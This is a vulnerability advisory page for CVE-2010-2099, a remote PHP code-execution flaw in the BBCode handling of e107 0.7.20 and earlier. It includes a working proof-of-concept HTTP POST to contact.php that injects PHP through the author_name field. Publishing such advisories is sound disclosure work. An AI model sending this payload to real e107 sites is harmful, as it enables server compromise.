e107 BBCode Arbitrary PHP Code Execution Vulnerability

BID:40252

Info

e107 BBCode Arbitrary PHP Code Execution Vulnerability

Bugtraq ID: 40252
Class: Input Validation Error
CVE: CVE-2010-2099
Remote: Yes
Local: No
Published: May 19 2010 12:00AM
Updated: Apr 13 2015 09:02PM
Credit: Stefan Esser
Vulnerable: e107 e107 website system 0.7.11
e107 e107 website system 0.7.8
e107 e107 website system 0.7.5
e107 e107 website system 0.7.2
e107 e107 website system 0.7.1
e107 e107 website system 0.7
e107 e107 0.7.20
e107 e107 0.7.19
e107 e107 0.7.18
e107 e107 0.7.17
e107 e107 0.7.16
e107 e107 0.7.15
e107 e107 0.7.13
e107 e107 0.7.8
e107 e107 0.7.5
Not Vulnerable:

Discussion

e107 BBCode Arbitrary PHP Code Execution Vulnerability

e107 is prone to a remote PHP code-execution vulnerability.

An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

e107 version 0.7.20 and prior are affected.

Exploit / POC

e107 BBCode Arbitrary PHP Code Execution Vulnerability

Attackers can exploit this issue using a browser.

The following example is available:

POST /contact.php HTTP/1.1
Host: www.example.com
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&

The following exploit is also available:

Solution / Fix

e107 BBCode Arbitrary PHP Code Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

e107 BBCode Arbitrary PHP Code Execution Vulnerability

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